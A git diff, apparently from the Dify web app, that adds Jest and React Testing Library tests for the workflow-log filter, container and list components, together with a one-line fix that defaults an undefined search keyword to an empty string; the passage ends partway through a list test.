+
+      if (clearButton) {
+        await user.click(clearButton)
+        expect(setQueryParams).toHaveBeenCalledWith({
+          status: 'all',
+          period: '9',
+        })
+      }
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Keyword Search Tests
+  // --------------------------------------------------------------------------
+  describe('Keyword Search', () => {
+    it('should display current keyword value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test search' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByDisplayValue('test search')).toBeInTheDocument()
+    })
+
+    it('should call setQueryParams when typing in search', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      const Wrapper = () => {
+        const [queryParams, updateQueryParams] = useState<QueryParam>(createDefaultQueryParams())
+        const handleSetQueryParams = (next: QueryParam) => {
+          updateQueryParams(next)
+          setQueryParams(next)
+        }
+        return (
+          <Filter
+            queryParams={queryParams}
+            setQueryParams={handleSetQueryParams}
+          />
+        )
+      }
+
+      render(<Wrapper />)
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      await user.type(input, 'workflow')
+
+      // Should call setQueryParams for each character typed
+      expect(setQueryParams).toHaveBeenLastCalledWith(
+        expect.objectContaining({ keyword: 'workflow' }),
+      )
+    })
+
+    it('should clear keyword when clear button is clicked', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // The Input component renders a clear icon div inside the input wrapper
+      // when showClearIcon is true and value exists
+      const inputWrapper = container.querySelector('.w-\\[200px\\]')
+
+      // Find the clear icon div (has cursor-pointer class and contains RiCloseCircleFill)
+      const clearIconDiv = inputWrapper?.querySelector('div.cursor-pointer')
+
+      expect(clearIconDiv).toBeInTheDocument()
+      await user.click(clearIconDiv!)
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+        keyword: '',
+      })
+    })
+
+    it('should update on direct input change', () => {
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      fireEvent.change(input, { target: { value: 'new search' } })
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+        keyword: 'new search',
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // TIME_PERIOD_MAPPING Tests
+  // --------------------------------------------------------------------------
+  describe('TIME_PERIOD_MAPPING', () => {
+    it('should have correct mapping for today', () => {
+      expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
+    })
+
+    it('should have correct mapping for last 7 days', () => {
+      expect(TIME_PERIOD_MAPPING['2']).toEqual({ value: 7, name: 'last7days' })
+    })
+
+    it('should have correct mapping for last 4 weeks', () => {
+      expect(TIME_PERIOD_MAPPING['3']).toEqual({ value: 28, name: 'last4weeks' })
+    })
+
+    it('should have correct mapping for all time', () => {
+      expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
+    })
+
+    it('should have all 9 predefined time periods', () => {
+      expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
+    })
+
+    test.each([
+      ['1', 'today', 0],
+      ['2', 'last7days', 7],
+      ['3', 'last4weeks', 28],
+      ['9', 'allTime', -1],
+    ])('TIME_PERIOD_MAPPING[%s] should have name=%s and correct value', (key, name, expectedValue) => {
+      const mapping = TIME_PERIOD_MAPPING[key]
+      expect(mapping.name).toBe(name)
+      if (expectedValue >= 0)
+        expect(mapping.value).toBe(expectedValue)
+      else
+        expect(mapping.value).toBe(-1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle undefined keyword gracefully', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: undefined })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      expect(input).toHaveValue('')
+    })
+
+    it('should handle empty string keyword', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: '' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      expect(input).toHaveValue('')
+    })
+
+    it('should preserve other query params when updating status', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test', period: '3' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'succeeded',
+        period: '3',
+        keyword: 'test',
+      })
+    })
+
+    it('should preserve other query params when updating period', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test', status: 'failed' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.today'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'failed',
+        period: '1',
+        keyword: 'test',
+      })
+    })
+
+    it('should preserve other query params when updating keyword', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'failed', period: '3' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      await user.type(input, 'a')
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'failed',
+        period: '3',
+        keyword: 'a',
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Integration', () => {
+    it('should render with all filters visible simultaneously', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({
+            status: 'succeeded',
+            period: '1',
+            keyword: 'integration test',
+          })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+      expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+      expect(screen.getByDisplayValue('integration test')).toBeInTheDocument()
+    })
+
+    it('should have proper layout with flex and gap', () => {
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const filterContainer = container.firstChild as HTMLElement
+      expect(filterContainer).toHaveClass('flex')
+      expect(filterContainer).toHaveClass('flex-row')
+      expect(filterContainer).toHaveClass('gap-2')
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/filter.tsx b/web/app/components/app/workflow-log/filter.tsx
index 0c8d72c1be..a4db4c9642 100644
--- a/web/app/components/app/workflow-log/filter.tsx
+++ b/web/app/components/app/workflow-log/filter.tsx
@@ -65,7 +65,7 @@ const Filter: FC<IFilterProps> = ({ queryParams, setQueryParams }: IFilterProps)
         wrapperClassName='w-[200px]'
         showLeftIcon
         showClearIcon
-        value={queryParams.keyword}
+        value={queryParams.keyword ?? ''}
         placeholder={t('common.operation.search')!}
         onChange={(e) => {
           setQueryParams({ ...queryParams, keyword: e.target.value })
diff --git a/web/app/components/app/workflow-log/index.spec.tsx b/web/app/components/app/workflow-log/index.spec.tsx
new file mode 100644
index 0000000000..e6d9f37949
--- /dev/null
+++ b/web/app/components/app/workflow-log/index.spec.tsx
@@ -0,0 +1,592 @@
+/**
+ * Logs Container Component Tests
+ *
+ * Tests the main Logs container component which:
+ * - Fetches workflow logs via useSWR
+ * - Manages query parameters (status, period, keyword)
+ * - Handles pagination
+ * - Renders Filter, List, and Empty states
+ *
+ * Note: Individual component tests are in their respective spec files:
+ * - filter.spec.tsx
+ * - list.spec.tsx
+ * - detail.spec.tsx
+ * - trigger-by-display.spec.tsx
+ */
+
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import useSWR from 'swr'
+import Logs, { type ILogsProps } from './index'
+import { TIME_PERIOD_MAPPING } from './filter'
+import type { App, AppIconType, AppModeEnum } from '@/types/app'
+import type { WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
+import { WorkflowRunTriggeredFrom } from '@/models/log'
+import { APP_PAGE_LIMIT } from '@/config'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+jest.mock('swr')
+
+jest.mock('ahooks', () => ({
+  useDebounce: <T,>(value: T) => value,
+  useDebounceFn: (fn: (value: string) => void) => ({ run: fn }),
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
+}))
+
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: jest.fn(),
+  }),
+}))
+
+jest.mock('next/link', () => ({
+  __esModule: true,
+  default: ({ children, href }: { children: React.ReactNode; href: string }) => <a href={href}>{children}</a>,
+}))
+
+// Mock the Run component to avoid complex dependencies
+jest.mock('@/app/components/workflow/run', () => ({
+  __esModule: true,
+  default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
+    <div data-testid="workflow-run">
+      <span data-testid="run-detail-url">{runDetailUrl}</span>
+      <span data-testid="tracing-list-url">{tracingListUrl}</span>
+    </div>
+  ),
+}))
+
+const mockTrackEvent = jest.fn()
+jest.mock('@/app/components/base/amplitude/utils', () => ({
+  trackEvent: (...args: unknown[]) => mockTrackEvent(...args),
+}))
+
+jest.mock('@/service/log', () => ({
+  fetchWorkflowLogs: jest.fn(),
+}))
+
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => {
+    const { Theme } = require('@/types/app')
+    return { theme: Theme.light }
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    userProfile: { timezone: 'UTC' },
+  }),
+}))
+
+// Mock useTimestamp
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: (timestamp: number, _format: string) => `formatted-${timestamp}`,
+  }),
+}))
+
+// Mock useBreakpoints
+jest.mock('@/hooks/use-breakpoints', () => ({
+  __esModule: true,
+  default: () => 'pc',
+  MediaType: {
+    mobile: 'mobile',
+    pc: 'pc',
+  },
+}))
+
+// Mock BlockIcon
+jest.mock('@/app/components/workflow/block-icon', () => ({
+  __esModule: true,
+  default: () => <div data-testid="block-icon">BlockIcon</div>,
+}))
+
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
+}))
+
+const mockedUseSWR = useSWR as jest.MockedFunction<typeof useSWR>
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  author_name: 'Test Author',
+  icon_type: 'emoji' as AppIconType,
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: 'workflow' as AppModeEnum,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+const createMockWorkflowRun = (overrides: Partial<WorkflowRunDetail> = {}): WorkflowRunDetail => ({
+  id: 'run-1',
+  version: '1.0.0',
+  status: 'succeeded',
+  elapsed_time: 1.234,
+  total_tokens: 100,
+  total_price: 0.001,
+  currency: 'USD',
+  total_steps: 5,
+  finished_at: Date.now(),
+  triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
+  ...overrides,
+})
+
+const createMockWorkflowLog = (overrides: Partial<WorkflowAppLogDetail> = {}): WorkflowAppLogDetail => ({
+  id: 'log-1',
+  workflow_run: createMockWorkflowRun(),
+  created_from: 'web-app',
+  created_by_role: 'account',
+  created_by_account: {
+    id: 'account-1',
+    name: 'Test User',
+    email: 'test@example.com',
+  },
+  created_at: Date.now(),
+  ...overrides,
+})
+
+const createMockLogsResponse = (
+  data: WorkflowAppLogDetail[] = [],
+  total = data.length,
+): WorkflowLogsResponse => ({
+  data,
+  has_more: data.length < total,
+  limit: APP_PAGE_LIMIT,
+  total,
+  page: 1,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('Logs Container', () => {
+  const defaultProps: ILogsProps = {
+    appDetail: createMockApp(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('appLog.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should render title and subtitle', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('appLog.workflowTitle')).toBeInTheDocument()
+      expect(screen.getByText('appLog.workflowSubtitle')).toBeInTheDocument()
+    })
+
+    it('should render Filter component', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Loading State Tests
+  // --------------------------------------------------------------------------
+  describe('Loading State', () => {
+    it('should show loading spinner when data is undefined', () => {
+      mockedUseSWR.mockReturnValue({
+        data: undefined,
+        mutate: jest.fn(),
+        isValidating: true,
+        isLoading: true,
+        error: undefined,
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should not show loading spinner when data is available', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      expect(container.querySelector('.spin-animation')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Empty State Tests
+  // --------------------------------------------------------------------------
+  describe('Empty State', () => {
+    it('should render empty element when total is 0', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('appLog.table.empty.element.title')).toBeInTheDocument()
+      expect(screen.queryByRole('table')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Data Fetching Tests
+  // --------------------------------------------------------------------------
+  describe('Data Fetching', () => {
+    it('should call useSWR with correct URL and default params', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { url: string; params: Record<string, unknown> }
+      expect(keyArg).toMatchObject({
+        url: `/apps/${defaultProps.appDetail.id}/workflow-app-logs`,
+        params: expect.objectContaining({
+          page: 1,
+          detail: true,
+          limit: APP_PAGE_LIMIT,
+        }),
+      })
+    })
+
+    it('should include date filters for non-allTime periods', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+      expect(keyArg?.params).toHaveProperty('created_at__after')
+      expect(keyArg?.params).toHaveProperty('created_at__before')
+    })
+
+    it('should not include status param when status is all', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+      expect(keyArg?.params).not.toHaveProperty('status')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Filter Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Filter Integration', () => {
+    it('should update query when selecting status filter', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Click status filter
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      // Check that useSWR was called with updated params
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).toMatchObject({
+          status: 'succeeded',
+        })
+      })
+    })
+
+    it('should update query when selecting period filter', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Click period filter
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.allTime'))
+
+      // When period is allTime (9), date filters should be removed
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).not.toHaveProperty('created_at__after')
+        expect(lastCall?.params).not.toHaveProperty('created_at__before')
+      })
+    })
+
+    it('should update query when typing keyword', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const searchInput = screen.getByPlaceholderText('common.operation.search')
+      await user.type(searchInput, 'test-keyword')
+
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).toMatchObject({
+          keyword: 'test-keyword',
+        })
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Pagination Tests
+  // --------------------------------------------------------------------------
+  describe('Pagination', () => {
+    it('should not render pagination when total is less than limit', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Pagination component should not be rendered
+      expect(screen.queryByRole('navigation')).not.toBeInTheDocument()
+    })
+
+    it('should render pagination when total exceeds limit', () => {
+      const logs = Array.from({ length: APP_PAGE_LIMIT }, (_, i) =>
+        createMockWorkflowLog({ id: `log-${i}` }),
+      )
+
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse(logs, APP_PAGE_LIMIT + 10),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Should show pagination - checking for any pagination-related element
+      // The Pagination component renders page controls
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // List Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('List Rendering', () => {
+    it('should render List component when data is available', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+
+    it('should display log data in table', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([
+          createMockWorkflowLog({
+            workflow_run: createMockWorkflowRun({
+              status: 'succeeded',
+              total_tokens: 500,
+            }),
+          }),
+        ], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+      expect(screen.getByText('500')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // TIME_PERIOD_MAPPING Export Tests
+  // --------------------------------------------------------------------------
+  describe('TIME_PERIOD_MAPPING', () => {
+    it('should export TIME_PERIOD_MAPPING with correct values', () => {
+      expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
+      expect(TIME_PERIOD_MAPPING['2']).toEqual({ value: 7, name: 'last7days' })
+      expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
+      expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle different app modes', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(<Logs appDetail={chatApp} />)
+
+      // Should render without trigger column
+      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
+    })
+
+    it('should handle error state from useSWR', () => {
+      mockedUseSWR.mockReturnValue({
+        data: undefined,
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: new Error('Failed to fetch'),
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      // Should show loading state when data is undefined
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should handle app with different ID', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      const customApp = createMockApp({ id: 'custom-app-123' })
+
+      render(<Logs appDetail={customApp} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { url: string }
+      expect(keyArg?.url).toBe('/apps/custom-app-123/workflow-app-logs')
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/list.spec.tsx b/web/app/components/app/workflow-log/list.spec.tsx
new file mode 100644
index 0000000000..be54dbc2f3
--- /dev/null
+++ b/web/app/components/app/workflow-log/list.spec.tsx
@@ -0,0 +1,751 @@
+/**
+ * WorkflowAppLogList Component Tests
+ *
+ * Tests the workflow log list component which displays:
+ * - Table of workflow run logs with sortable columns
+ * - Status indicators (success, failed, stopped, running, partial-succeeded)
+ * - Trigger display for workflow apps
+ * - Drawer with run details
+ * - Loading states
+ */
+
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WorkflowAppLogList from './list'
+import { useStore as useAppStore } from '@/app/components/app/store'
+import type { App, AppIconType, AppModeEnum } from '@/types/app'
+import type { WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
+import { WorkflowRunTriggeredFrom } from '@/models/log'
+import { APP_PAGE_LIMIT } from '@/config'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockRouterPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockRouterPush,
+  }),
+}))
+
+// Mock useTimestamp hook
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: (timestamp: number, _format: string) => `formatted-${timestamp}`,
+  }),
+}))
+
+// Mock useBreakpoints hook
+jest.mock('@/hooks/use-breakpoints', () => ({
+  __esModule: true,
+  default: () => 'pc', // Return desktop by default
+  MediaType: {
+    mobile: 'mobile',
+    pc: 'pc',
+  },
+}))
+
+// Mock the Run component
+jest.mock('@/app/components/workflow/run', () => ({
+  __esModule: true,
+  default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
+    <div data-testid="workflow-run">
+      <span data-testid="run-detail-url">{runDetailUrl}</span>
+      <span data-testid="tracing-list-url">{tracingListUrl}</span>
+    </div>
+  ),
+}))
+
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
+}))
+
+// Mock BlockIcon
+jest.mock('@/app/components/workflow/block-icon', () => ({
+  __esModule: true,
+  default: () => <div data-testid="block-icon">BlockIcon</div>,
+}))
+
+// Mock useTheme
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => {
+    const { Theme } = require('@/types/app')
+    return { theme: Theme.light }
+  },
+}))
+
+// Mock ahooks
+jest.mock('ahooks', () => ({
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  author_name: 'Test Author',
+  icon_type: 'emoji' as AppIconType,
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: 'workflow' as AppModeEnum,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+const createMockWorkflowRun = (overrides: Partial<WorkflowRunDetail> = {}): WorkflowRunDetail => ({
+  id: 'run-1',
+  version: '1.0.0',
+  status: 'succeeded',
+  elapsed_time: 1.234,
+  total_tokens: 100,
+  total_price: 0.001,
+  currency: 'USD',
+  total_steps: 5,
+  finished_at: Date.now(),
+  triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
+  ...overrides,
+})
+
+const createMockWorkflowLog = (overrides: Partial<WorkflowAppLogDetail> = {}): WorkflowAppLogDetail => ({
+  id: 'log-1',
+  workflow_run: createMockWorkflowRun(),
+  created_from: 'web-app',
+  created_by_role: 'account',
+  created_by_account: {
+    id: 'account-1',
+    name: 'Test User',
+    email: 'test@example.com',
+  },
+  created_at: Date.now(),
+  ...overrides,
+})
+
+const createMockLogsResponse = (
+  data: WorkflowAppLogDetail[] = [],
+  total = data.length,
+): WorkflowLogsResponse => ({
+  data,
+  has_more: data.length < total,
+  limit: APP_PAGE_LIMIT,
+  total,
+  page: 1,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('WorkflowAppLogList', () => {
+  const defaultOnRefresh = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    useAppStore.setState({ appDetail: createMockApp() })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render loading state when logs are undefined', () => {
+      const { container } = render(
+        <WorkflowAppLogList logs={undefined} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should render loading state when appDetail is undefined', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={undefined} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should render table when data is available', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+
+    it('should render all table headers', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('appLog.table.header.startTime')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.status')).toBeInTheDocument()
